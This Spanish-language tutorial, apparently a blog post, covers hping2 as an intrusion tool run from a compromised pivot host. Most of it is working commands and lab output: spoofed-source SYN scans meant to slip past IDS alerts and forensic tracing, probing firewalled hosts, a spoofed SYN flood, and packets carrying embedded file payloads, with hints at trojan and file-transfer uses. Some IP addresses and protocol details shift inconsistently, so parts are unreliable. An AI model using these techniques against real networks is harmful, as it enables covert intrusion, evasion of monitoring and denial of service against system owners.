Para toda intrusión un paso indispensable y por todos conocidos es realizar un scaneo de puertos, sobra nombrar nmap, pero existen ocasiones en las cuales es necesario realizar otro tipo de enumeración de puertos, es decir, no existe ningún problema cuando este se realiza fuera de la red del sistema objetivo, pero que sucede cuando el target se encuentra dentro de nuestra misma red? en un ambiente controlado la paranoia es total, por lo cual, el mas sutil cambio en una red monitoreada será informado y por lo tanto colocará una alerta, la cual recolectará todos los datos posibles acerca del equipo que se encuentra realizando actividad anormal o maliciosa.
Si nos ponemos en el lugar del administrador, fuera de cuidar el equipo objetivo el cual se ve un tanto amenzado por actividad anormal, interpreta las alertas del IPS y no es imposible ni medianamente dificil seguir la pista de cual equipo fue el iniciador de un simple scan de puertos.
Se podría pensar que vulnerando 2 o 3 equipos y brincando de uno a otro sería suficiente para confundir al SySadmin y evitar encontrar nuestro equipo principal desde el cual se inició una intrusión, esto potencialmente es falso (pues mucho depende de las características técnicas que posea el SySadmin), siempre al brincar de un equipo a otro se deja un rastro aún borrando el history o la tabla arp, en este nivel no nos preocupa nuestra locación verdadera, aqui importa el equipo pivote desde el cual se intenta realizar un scan de la red final. Pues si este es detectado, la auditoria forense revelaria la intrusión y por lo tanto el acceso sería bloqueado y de nada serviria haber tenido ese equipo comprometido.
Entonces surge la necesidad de realizar un scaneo de puertos mas discreto, mas profesional, para esto existen algunos otros port scanners como scanline de foundstone o mejor aún herramientas de construcción de paquetes a la medida como hping2.
hping2 es un herramienta de linea de comandos que sirve para crear paquetes contenedores de payload tcp, udp y/o icmp. Todas las cabeceras pueden ser modificadas y controladas mediante linea de comandos. Para entender esta importante utileria es necesario entender tcp y udp.
Lo primero es obtener la utileria, para esto podemos ir a http://www.hping.org y obtener los binarios correspondientes, para este paper se utilizó el siguiente paquete (aunque algunas distros de linux traen la primera version de hping llamado del mismo nombre):
hping2.0.0-rc3.tar.gz. Su instalación se realiza como cualquier paquete normal para linux:
root@linux:~# tar -xzvf hping2.0.0-rc3.tar.gz
root@linux:~# cd hping2-rc3/
root@linux:~# ./configure
root@linux:~# make
root@linux:~# make install
Ahora hping2 se encuentra instalado en el sistema y listo para usarse. hping2 es una excelente herramienta para poner a prueba reglas de acceso de firewalls de manera externa, a continuación se listan algunos ejemplos de uso que tienen como objetivo mostrar los principales usos de esta herramienta.
Regresando a nuestro tema principal: el scaneo de puertos, hping2 puede ser utilizado como un potente y silencioso scanner de puertos, pues al poseer la característica de generar paquetes a la medida, podemos especificar las banderas TCP que se deseen, las opciones que hping2 nos brinda para este proposito son:
-P –push coloca bandera PUSH
-A –ack coloca bandera ACK
-U –urg coloca bandera URG
-X –xmas coloca bandera «unused» (0x40) X
-Y –ymas coloca bandera «unused» (0x80) Y
-F –fin coloca bandera FIN
-S –syn coloca bandera SYN
-R –rst coloca bandera RST
El principio de uso de estas banderas es el mismo que utiliza nmap para realizar el test de puertos, haciendo referencia total al protocolo tcp/udp en su uso de banderas en el transcurso de su comunicación.
En los siguientes ejemplos:
192.169.30.1 ==> es la ip del sistema target (victima): Windows Vista
192.169.30.131 ==> es la ip del sistema source (atacante): Slackware 12.1
Para realizar un scaneo de un puerto en particular se ejecuta el siguiente comando:
root@linux:~/hping2-rc3# hping2 -I eth0 -S 192.169.30.1
HPING 192.169.30.1 (eth0 192.169.30.1): S set, 40 headers + 0 data bytes
len=46 ip=192.169.30.1 ttl=128 id=695 sport=0 flags=R seq=0 win=64240 rtt=11.4 ms
len=46 ip=192.169.30.1 ttl=128 id=696 sport=0 flags=R seq=1 win=64240 rtt=2.8 ms
len=46 ip=192.169.30.1 ttl=128 id=697 sport=0 flags=R seq=2 win=64240 rtt=3.2 ms
len=46 ip=192.169.30.1 ttl=128 id=698 sport=0 flags=R seq=3 win=64240 rtt=3.3 ms
— 192.169.30.1 hping statistic —
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 2.8/5.2/11.4 ms
root@linux:~/hping2-rc3#
Esto en realidad es lo mismo que ejecutar un nmap -sS 192.169.30.1 y no posee nada de silencioso, la diferencia radica en la posibilidad de spoofear la ip origen, recordemos la libertad existente para generar el paquete. La respuesta entonces, es realizar el scaneo spoofeando la ip mediante el siguiente comando:
root@linux:~/hping2-rc3# hping2 -I eth0 -a 132.248.140.11 -S 192.169.30.1
HPING 192.169.30.1 (eth0 192.169.30.1): S set, 40 headers + 0 data bytes
len=46 ip=192.169.30.1 ttl=128 id=695 sport=0 flags=R seq=0 win=64240 rtt=11.6 ms
len=46 ip=192.169.30.1 ttl=128 id=696 sport=0 flags=R seq=1 win=64240 rtt=2.8 ms
len=46 ip=192.169.30.1 ttl=128 id=697 sport=0 flags=R seq=2 win=64240 rtt=3.2 ms
len=46 ip=192.169.30.1 ttl=128 id=698 sport=0 flags=R seq=3 win=64240 rtt=3.1 ms
— 192.169.30.1 hping statistic —
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 2.8/5.2/11.2 ms
root@linux:~/hping2-rc3#
Ahora analicemos la traza en el sistema victima con un sniffer que al final de cuentas es precisamente lo que veria un IPS/IDS (para ello se utilizó Wireshark 1.0.0), filtrando la salida buscando la ip falsa se encuentra lo siguiente:
——————————————————————————————–
No. Time Source Destination Protocol Info
19 3.798831 132.248.140.11 192.169.30.1 TCP biap-mp > 0 [SYN]
Seq=0 Win=512 Len=0
No. Time Source Destination Protocol Info
23 4.586934 132.248.140.11 192.169.30.1 TCP webmachine > 0
[SYN] Seq=0 Win=512 Len=0
No. Time Source Destination Protocol Info
25 5.099933 132.248.140.11 192.169.30.1 TCP solid-e-engine > 0
[SYN] Seq=0 Win=512 Len=0
No. Time Source Destination Protocol Info
26 5.590005 132.248.140.11 192.169.30.1 TCP tivoli-npm > 0
[SYN] Seq=0 Win=512 Len=0
——————————————————————————————–
La ip origen efectivamente llega como 132.248.140.11 lo cual indica que en efecto la identidad fue spofeada a la perfección, veamos la tabla arp en el equipo victima para verificar que la ip real no se muestre:
C:\Users\Administrador>arp -a
Interfaz: 10.77.77.100 — 0x9
Dirección de Internet Dirección física Tipo
10.77.77.77 00-05-1e-0a-3b-9a dinámico
10.77.77.255 ff-ff-ff-ff-ff-ff estático
224.0.0.22 01-00-5e-00-00-16 estático
Interfaz: 192.168.30.1 — 0xe
Dirección de Internet Dirección física Tipo
132.248.140.11 00-0c-29-d2-9a-c4 dinámico
224.0.0.22 01-00-5e-00-00-16 estático
C:\Users\Administrador>
Donde: 132.248.140.11==> ip Spoof.
10.77.77.77 ==> ip de un switch FC Brocade.
La ip falsa es la que se muestra, aunque existe un problema… la mcaddress es visible, esto no es problema, existen métodos para spoofear la mcaddress con lo cual la identidad es completamente segura a cualquier IDS, la alerta obviamente sería afirmativa, pero el equipo sospechoso no existe, lo cual asegura el equipo vulnerado desde el cual nos encontramos scaneando la red.
Cuantas veces nos enfrentamos a equipos que suponemos existen pero cuando se realiza un ping a alguno de ellos estos, no responden debido a un firewalls propietarios o a iptables (linux) o a ipf (Solaris) etc. ? con la modalidad -S de hping es posible buscar targets detrás de un firewall especificando un puerto de la siguiente manera:
Se realiza un ping hacie el equipo victima:
root@linux:~/hping2-rc3# ping 192.169.30.1
PING 192.169.30.1 (192.169.30.1) 56(84) bytes of data.
— 192.169.30.1 ping statistics —
9 packets transmitted, 0 received, 100% packet loss, time 8011ms
root@linux:~/hping2-rc3#
El resultado es típico, se puede suponer que este host ni siquiera existe, ahora hagamos un hping2 con la opción -S llamada SYN scan o Stealth scan, (igual que en nmap) especificando un puerto especifico y spofeando nuestra ip para asegurar nuestra identidad:
root@linux:~# hping2 -I eth0 -a 132.128.140.11 -S 192.168.30.1 -p 135
HPING 192.168.30.1 (eth0 192.168.30.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.30.1 ttl=128 DF id=1504 sport=135 flags=SA seq=0 win=8192 rtt=6.2 ms
len=46 ip=192.168.30.1 ttl=128 DF id=1510 sport=135 flags=SA seq=1 win=8192 rtt=1.5 ms
len=46 ip=192.168.30.1 ttl=128 DF id=1516 sport=135 flags=SA seq=2 win=8192 rtt=1.6 ms
len=46 ip=192.168.30.1 ttl=128 DF id=1521 sport=135 flags=SA seq=3 win=8192 rtt=3.0 ms
len=46 ip=192.168.30.1 ttl=128 DF id=1526 sport=135 flags=SA seq=4 win=8192 rtt=1.4 ms
len=46 ip=192.168.30.1 ttl=128 DF id=1531 sport=135 flags=SA seq=5 win=8192 rtt=2.0 ms
— 192.168.30.1 hping statistic —
6 packets tramitted, 6 packets received, 0% packet loss
round-trip min/avg/max = 1.4/2.6/6.2 ms
root@linux:~#
Ahora se puede observar que el firewall nada puede hacer y el host revela su existencia y aún cuando se deseara rastrear el origen del scaneo la ip se encuentra spoofeada. Para realizar un scaneo a varios puertos se puede ejecutar el siguiente comando:
root@linux:~# hping2 -S 192.168.30.1 -p ++135
HPING 192.168.30.1 (eth0 192.168.30.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.30.1 ttl=128 DF id=4515 sport=135 flags=SA seq=0 win=8192 rtt=1.7 ms
len=46 ip=192.168.30.1 ttl=128 DF id=4518 sport=139 flags=SA seq=4 win=8192 rtt=1.5 ms
— 192.168.30.1 hping statistic —
20 packets tramitted, 2 packets received, 90% packet loss
round-trip min/avg/max = 1.5/1.6/1.7 ms
Interpretando la salida se obtiene que este host posee abiertos los puertos 135 y 139. La ventaja visible que podemos tener es la capacidad de spoofear la ip source y sobre todo tener la certeza de que ese host existe detrás de un firewall, ipf o ipf.
hping posee toda la granularidad que brinda nmap, por lo tanto solo basta conocer y probar sus opciones las cuales son sumamente parecidas a las que nmap posee (salida de hping2 -h):
-s –baseport base source port (default random)
-p –destport
- <port> destination port(default 0)
or ctrl+z inc/dec
-k –keep keep still source port
-w –win winsize (default 64)
-O –tcpoff set fake tcp data offset (instead of
tcphdrlen / 4)
-Q –seqnum shows only tcp sequence number
-b –badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending
the packet you’ll get bad UDP/TCP checksum
instead.
-M –setseq set TCP sequence number
-L –setack set TCP ack
Todos conocemos el famoso ataque de SYN, con hping2 podemos realizarlo sin problemas con la ventaja de spoofear explícita e inherentemente nuestra ip, para ello se envian paquetes TCP reset desde la maquina atacante, con la opción -a se spoofea la ip, se espcifica un puerto (en un ataque real por ejemplo IIS 5.0 W2Ksp4 se especificaria el puerto 80) y con -i se indica el intervalo con el cual se enviarán estos paquetes:
root@linux:~# hping2 -I eth0 -a 132.248.140.11 -S 192.168.30.1 -p 135 -i u900
HPING 192.168.30.1 (eth0 192.168.30.1): S set, 40 headers + 0 data bytes
— 192.168.30.1 hping statistic —
2488 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@linux:~#
No existe una respuesta en pantalla pues no se pide una respuesta para estas opciones en particular.
Ahora veamos un fragmento de Wireshark en el host victima:
——————————————————————————————–
.
.
.
.
No. Time Source Destination Protocol Info
73 1.445205 132.248.140.11 192.168.30.1 TCP nicetec-mgmt >
epmap [SYN] Seq=0 Win=512 Len=0
Frame 73 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 132.248.140.11 (132.248.140.11), Dst: 192.168.30.1 (192.168.30.1)
Transmission Control Protocol, Src Port: nicetec-mgmt (2557), Dst Port: epmap (135), Seq: 0,
Len: 0
Source port: nicetec-mgmt (2557)
Destination port: epmap (135)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag
is not set
Header length: 20 bytes
Flags: 0x02 (SYN)
Window size: 512
Checksum: 0x145b [correct]
No. Time Source Destination Protocol Info
74 1.449181 132.248.140.11 192.168.30.1 TCP pclemultimedia >
epmap [SYN] Seq=0 Win=512 Len=0
Frame 74 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 132.248.140.11 (132.248.140.11), Dst: 192.168.30.1 (192.168.30.1)
Transmission Control Protocol, Src Port: pclemultimedia (2558), Dst Port: epmap (135), Seq:
0, Len: 0
Source port: pclemultimedia (2558)
Destination port: epmap (135)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag
is not set
Header length: 20 bytes
Flags: 0x02 (SYN)
Window size: 512
Checksum: 0xea22 [correct]
No. Time Source Destination Protocol Info
75 1.453293 132.248.140.11 192.168.30.1 TCP lstp > epmap [SYN]
Seq=0 Win=512 Len=0
Frame 75 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 132.248.140.11 (132.248.140.11), Dst: 192.168.30.1 (192.168.30.1)
Transmission Control Protocol, Src Port: lstp (2559), Dst Port: epmap (135), Seq: 0, Len: 0
Source port: lstp (2559)
Destination port: epmap (135)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag
is not set
Header length: 20 bytes
Flags: 0x02 (SYN)
Window size: 512
Checksum: 0xbb89 [correct]
No. Time Source Destination Protocol Info
76 1.457139 132.248.140.11 192.168.30.1 TCP labrat > epmap
[SYN] Seq=0 Win=512 Len=0
Frame 76 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 132.248.140.11 (132.248.140.11), Dst: 192.168.30.1 (192.168.30.1)
Transmission Control Protocol, Src Port: labrat (2560), Dst Port: epmap (135), Seq: 0, Len:
0
Source port: labrat (2560)
Destination port: epmap (135)
Sequence number: 0 (relative sequence number)
Acknowledgment number: Broken TCP. The acknowledge field is nonzero while the ACK flag
is not set
Header length: 20 bytes
Flags: 0x02 (SYN)
Window size: 512
Checksum: 0x9089 [correct]
.
.
.
.
.
——————————————————————————————–
El ataque a nivel red aparentemente es exitoso basta observar un poco las cabeceras y como las banderas no se encuentran seteadas, ahora veamos que muestra netstat en el equipo victima:
C:\Users\Administrador>netstat -n -p tcp
Conexiones activas
Proto Dirección local Dirección remota Estado
TCP 127.0.0.1:50387 127.0.0.1:49157 TIME_WAIT
TCP 192.168.30.1:49212 192.168.30.131:22 ESTABLISHED
C:\Users\Administrador>netstat -n -p tcp
Conexiones activas
Proto Dirección local Dirección remota Estado
TCP 127.0.0.1:50387 127.0.0.1:49157 TIME_WAIT
TCP 192.168.30.1:135 132.248.140.11:2423 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2424 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2425 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2426 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2427 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2428 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2429 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2430 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2431 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2432 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2433 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2434 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2435 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2436 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2437 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2438 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2439 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2440 SYN_RECEIVED
TCP 192.168.30.1:135 132.248.140.11:2441 SYN_RECEIVED
.
.
.
.
.
Verificando el estado de las conexiones actuales es mas que delatador, ademas que el spoofing de la ip es todo un éxito.
Ahora bien la mayor funcionalidad de hping2 es la que a continuación explicare con un ejemplo un tanto «sin sentido», pues no es dificil intuir un uso verdaderamente peligroso para esta característica: Paquetes con firma.
Haremos un archivo simple de la siguiente manera:
root@linux:/home/linux# cat ejemplo.txt
«»mi ejemplo «»
root@linux:/home/linux#
Ahora bien ejecutemos el siguiente comando:
root@linux:/home/linux# hping2 -2 -p 7 192.168.30.1 -d 60 -E ejemplo.txt
HPING 192.168.30.1 (eth0 192.168.30.1): udp mode set, 28 headers + 60 data bytes
[main] memlockall(): Success
Warning: can’t disable memory paging!
— 192.168.30.1 hping statistic —
10 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@linux:/home/linux#
El parametro -2 coloca la opción de paquetes en udp, -d indica la longitud de la porción de datos que unirá al paquete y -E el archivo con el cual se firmará el paquete. Veamos en el host victima una traza en Wireshark:
——————————————————————————————–
No. Time Source Destination Protocol Info
3 0.047653 192.168.30.131 192.168.30.1 ECHO Request
Frame 3 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 192.168.30.131 (192.168.30.131), Dst: 192.168.30.1 (192.168.30.1)
User Datagram Protocol, Src Port: sm-pas-1 (2938), Dst Port: echo (7)
Echo
No. Time Source Destination Protocol Info
4 0.048640 192.168.30.131 192.168.30.1 SSH Encrypted response
packet len=192
Frame 4 (246 bytes on wire, 246 bytes captured)
Ethernet II, Src: Vmware_d2:9a:c4 (00:0c:29:d2:9a:c4), Dst: Vmware_c0:00:08
(00:50:56:c0:00:08)
Internet Protocol, Src: 192.168.30.131 (192.168.30.131), Dst: 192.168.30.1 (192.168.30.1)
Transmission Control Protocol, Src Port: ssh (22), Dst Port: 49212 (49212), Seq: 49, Ack:
81, Len: 192
Source port: ssh (22)
Destination port: 49212 (49212)
Sequence number: 49 (relative sequence number)
[Next sequence number: 241 (relative sequence number)]
Acknowledgement number: 81 (relative ack number)
Header length: 20 bytes
Flags: 0x18 (PSH, ACK)
Window size: 1323
Checksum: 0x477e [correct]
SSH Protocol
No. Time Source Destination Protocol Info
5 0.048827 192.168.30.1 192.168.30.131 TCP 49212 > ssh [ACK]
Seq=81 Ack=241 Win=251 Len=0
Frame 5 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_d2:9a:c4
(00:0c:29:d2:9a:c4)
Internet Protocol, Src: 192.168.30.1 (192.168.30.1), Dst: 192.168.30.131 (192.168.30.131)
Transmission Control Protocol, Src Port: 49212 (49212), Dst Port: ssh (22), Seq: 81, Ack:
241, Len: 0
Source port: 49212 (49212)
Destination port: ssh (22)
Sequence number: 81 (relative sequence number)
Acknowledgement number: 241 (relative ack number)
Header length: 20 bytes
Flags: 0x10 (ACK)
Window size: 251
Checksum: 0x3dd1 [correct]
[SEQ/ACK analysis]
——————————————————————————————–
y, si revisamos el contenido hexadecimal lo que sería equivalente a ejecutar tcpdump -X encontramos lo siguiente para cada uno de los paquetes mostrados respectivamente:
0000 00 50 56 c0 00 08 00 0c 29 d2 9a c4 08 00 45 00 .PV….. )…..E.
0010 00 58 92 93 00 00 40 11 2a 2d c0 a8 1e 83 c0 a8 .X….@. *-……
0020 1e 01 0b 7b 00 07 00 44 ff ac 22 22 6d 69 20 65 …{…D ..»»mi e
0030 6a 65 6d 70 6c 6f 20 22 22 0a 00 00 00 00 00 00 jemplo » «…….
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0060 00 00 00 00 00 00 ……
0000 00 50 56 c0 00 08 00 0c 29 d2 9a c4 08 00 45 00 .PV….. )…..E.
0010 00 58 8d ad 00 00 40 11 2f 13 c0 a8 1e 83 c0 a8 .X….@. /…….
0020 1e 01 0b 7c 00 07 00 44 ff ab 22 22 6d 69 20 65 …|…D ..»»mi e
0030 6a 65 6d 70 6c 6f 20 22 22 0a 00 00 00 00 00 00 jemplo » «…….
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0060 00 00 00 00 00 00 ……
0000 00 50 56 c0 00 08 00 0c 29 d2 9a c4 08 00 45 00 .PV….. )…..E.
0010 00 58 36 f4 00 00 40 11 85 cc c0 a8 1e 83 c0 a8 .X6…@. ……..
0020 1e 01 0b 7d 00 07 00 44 ff aa 22 22 6d 69 20 65 …}…D ..»»mi e
0030 6a 65 6d 70 6c 6f 20 22 22 0a 00 00 00 00 00 00 jemplo » «…….
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …….. ……..
0060 00 00 00 00 00 00 ……
Es en este punto donde se centran varios de los ataques mas peligrosos… el archivo poseia «»mi ejemplo»», que sucede si en lugar de eso posee opcodes que obligue un listen del mismo hping?. Las posibilidades siempre son muchas.
Me despido y espero haber mostrado si no en su totalidad, si la esencia de este importante herramienta como eslabón durante el inicio de una intrusión. Evidentemente algunas funciones no fueron explicadas, pues hping2 puede usarse como troyano o incluso para transferir archivos con la opción «–listen signature» (léase la documentación).
Para los administradores de sistemas, es una buena herramienta para probar reglas de firewalls, para un intruso medianamente experimentado es un arma indispensable.
Saludos.